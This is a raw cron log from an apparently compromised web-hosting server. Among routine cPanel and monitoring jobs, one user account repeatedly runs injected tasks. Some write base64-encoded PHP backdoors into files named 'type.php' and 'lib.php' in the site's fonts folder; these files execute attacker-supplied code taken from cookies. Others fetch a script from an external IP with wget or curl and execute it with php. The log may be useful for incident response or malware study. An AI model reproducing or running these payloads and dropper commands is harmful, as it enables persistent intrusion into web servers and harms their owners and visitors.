Sep  3 23:43:01 ip-184-168-122-23 CROND[17199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:43:01 ip-184-168-122-23 CROND[17201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:43:01 ip-184-168-122-23 CROND[17202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:44:02 ip-184-168-122-23 CROND[17291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:44:02 ip-184-168-122-23 CROND[17292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:44:02 ip-184-168-122-23 CROND[17294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:44:02 ip-184-168-122-23 CROND[17297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:44:02 ip-184-168-122-23 CROND[17299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:45:01 ip-184-168-122-23 CROND[17390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:45:01 ip-184-168-122-23 CROND[17392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:45:01 ip-184-168-122-23 CROND[17395]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:45:01 ip-184-168-122-23 CROND[17393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:45:01 ip-184-168-122-23 CROND[17394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:45:01 ip-184-168-122-23 CROND[17398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:46:01 ip-184-168-122-23 CROND[17506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:46:01 ip-184-168-122-23 CROND[17505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:46:01 ip-184-168-122-23 CROND[17509]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:46:01 ip-184-168-122-23 CROND[17507]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 23:46:01 ip-184-168-122-23 CROND[17511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:46:01 ip-184-168-122-23 CROND[17512]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 23:46:01 ip-184-168-122-23 CROND[17513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:47:01 ip-184-168-122-23 CROND[17620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:47:01 ip-184-168-122-23 CROND[17623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:47:01 ip-184-168-122-23 CROND[17621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:47:01 ip-184-168-122-23 CROND[17622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:48:01 ip-184-168-122-23 CROND[17780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:48:01 ip-184-168-122-23 CROND[17782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:48:01 ip-184-168-122-23 CROND[17783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:48:01 ip-184-168-122-23 CROND[17785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:48:01 ip-184-168-122-23 CROND[17786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:49:01 ip-184-168-122-23 CROND[17868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:49:01 ip-184-168-122-23 CROND[17869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:49:01 ip-184-168-122-23 CROND[17871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:49:01 ip-184-168-122-23 CROND[17870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:50:01 ip-184-168-122-23 CROND[17985]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 23:50:01 ip-184-168-122-23 CROND[17986]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 23:50:01 ip-184-168-122-23 CROND[17990]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:50:01 ip-184-168-122-23 CROND[17991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:50:01 ip-184-168-122-23 CROND[17992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:50:01 ip-184-168-122-23 CROND[17994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:50:01 ip-184-168-122-23 CROND[17995]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 23:50:01 ip-184-168-122-23 CROND[17993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:50:01 ip-184-168-122-23 CROND[17998]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 23:51:01 ip-184-168-122-23 CROND[18084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:51:02 ip-184-168-122-23 CROND[18086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:51:02 ip-184-168-122-23 CROND[18088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:51:02 ip-184-168-122-23 CROND[18087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:52:01 ip-184-168-122-23 CROND[18179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:52:01 ip-184-168-122-23 CROND[18180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:52:01 ip-184-168-122-23 CROND[18181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:52:01 ip-184-168-122-23 CROND[18182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:52:01 ip-184-168-122-23 CROND[18183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:53:01 ip-184-168-122-23 CROND[18303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:53:01 ip-184-168-122-23 CROND[18304]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  3 23:53:01 ip-184-168-122-23 CROND[18306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:53:01 ip-184-168-122-23 CROND[18305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:53:01 ip-184-168-122-23 CROND[18308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:54:01 ip-184-168-122-23 CROND[18401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 23:54:01 ip-184-168-122-23 CROND[18402]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 23:54:01 ip-184-168-122-23 CROND[18406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 23:54:01 ip-184-168-122-23 CROND[18405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 23:54:01 ip-184-168-122-23 CROND[18403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 23:55:01 ip-184-168-122-23 CROND[18506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
